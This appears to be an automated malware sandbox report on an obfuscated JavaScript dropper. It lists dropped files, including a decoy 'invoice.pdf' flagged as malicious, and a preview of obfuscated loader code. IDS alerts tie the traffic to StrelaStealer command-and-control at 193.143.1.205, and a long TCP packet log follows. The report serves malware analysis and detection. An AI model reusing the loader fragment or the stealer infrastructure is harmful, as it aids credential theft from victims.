SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b5d4e8b9-30a6-424e-b1f0-61f5de38ec51.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17556), with CRLF line terminators
Entropy (8bit):	4.899383980604767
TrID:
File name:	28098292552574015467.js
File size:	20'976 bytes
MD5:	09a24704ee4902248bfe8798bf3b5ea8
SHA1:	9efc9e4d4b8bacd5570a9a97600da33bd922fbef
SHA256:	d565cfc656dc88ae3a19fdd1e515c4b181afcdc72f752aba3c7b98c18a9f6a95
SHA512:	044cde869d561284f4f5bdc119b907e73a742cd3cf85fd373a10790b9220da9340402dab481f4338bf066aa1b7824994a84d3ee6a6c3eb03f58224005cbbe6e5
SSDEEP:	384:a+dfTnl3Vp6NA/H4xIx+D23inNkFX37N3RcUHdTFdR4zQ1sXKFnqhv:HdlSA/H4xIx+DTNUPFnQ
TLSH:	229276A2C212966B8BFA1B7A49E7A4867FC9C3CC8C33C5A95D43138C5C63937D1D25B4
File Content Preview:	function xavhor(){jrpyx=[1031,3079,5127,4103,2055,3072];var jwwpdcn=this[wotejknu+edsnz+ckbdkeo+vsbtfngzn+eofjgx+oovir+gycidmj+afkkz](this[lqtodc+cpixvom+cqhpixq+ckbdkeo+pcmiat+wotejknu+afkkz][ghisagg+ckbdkeo+eofjgx+edsnz+afkkz+eofjgx+zqcmxs+cumssa+uplpr+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:40:26.336826+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T00:40:26.336826+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T00:40:28.867879+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:40:25.559334040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:25.565510035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:25.565593004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:25.568970919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:25.576180935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336685896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336704969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336791992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336817026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336826086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.336827993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336867094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336869001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336869955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.336885929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336899042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336914062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.336915016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.336951971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.336971998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.343203068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.343219995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.343235016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.343292952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.379662037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.379693031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.379767895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.430438042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.457513094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.457525015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.457595110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.457642078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.457654953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.457654953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.457709074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.458142996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458190918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.458210945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458223104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458234072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458259106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.458897114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458909035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458920956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458933115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.458950996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.459042072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.459786892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.459806919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.459820032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.459834099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.459836960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.459873915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.460747957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.460760117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.460773945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.460788012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.460793018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.460832119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.461599112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.461632967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.506989002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.507005930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.507019997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.507055044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.544224977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.544241905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.544276953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.544290066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.544320107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.578105927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578114033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578164101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.578267097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578280926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578334093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.578435898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578448057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578468084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578480005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578489065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.578493118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.578514099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.579324961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.579361916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.579402924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.579416037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.579428911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.579442024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.579452991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.579474926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.580295086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580307961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580321074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580346107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.580806971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580828905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580842972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580846071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.580854893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580868959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.580888033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.580980062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.581777096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.581790924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.581804037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.581815958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.581828117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.581830025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.581856012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.582704067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.582722902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.582736015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.582742929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.582747936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.582765102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.582772017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.582818031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.583646059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.583658934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.583671093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.583683014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.583694935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.583702087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.583715916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.584445000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.584458113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.584472895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.584484100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.584485054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.584517956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.593694925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.593723059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.593734980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.593759060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.593775034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.593818903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.593842983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.593907118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.631798983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.631815910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.631829023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.631840944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.631869078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.631886005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.664988995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.665014029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.665057898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.698896885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.698940992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.698980093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.698998928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699086905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699130058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699142933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699249029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699278116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699301004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699347973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699385881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699398041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699420929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699457884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699475050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699765921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699803114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699815035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699839115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699873924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699897051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.699911118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699949026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.699964046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.700468063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700501919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700512886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.700537920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700572968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700582027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.700608969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700643063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700660944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.700680017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.700735092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.701703072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701739073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701775074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701788902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.701809883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701845884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701859951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.701896906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701934099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.701953888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.701986074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702022076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702030897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.702214956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702250957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702265978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.702289104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702326059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702337980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.702369928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702404976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702414036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.702444077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702495098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.702879906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.702950001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703002930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.703023911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703068972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703124046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703131914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.703180075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703217030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703233957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.703253031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703320980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.703819990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703865051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703912973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.703918934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703954935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.703989983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704005003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.704025984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704061031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704081059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.704097033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704144001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.704819918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704857111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704894066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704910040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.704936981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.704972029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.705003023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.705004930 CET	80	49704	193.143.1.205	192.168.2.8
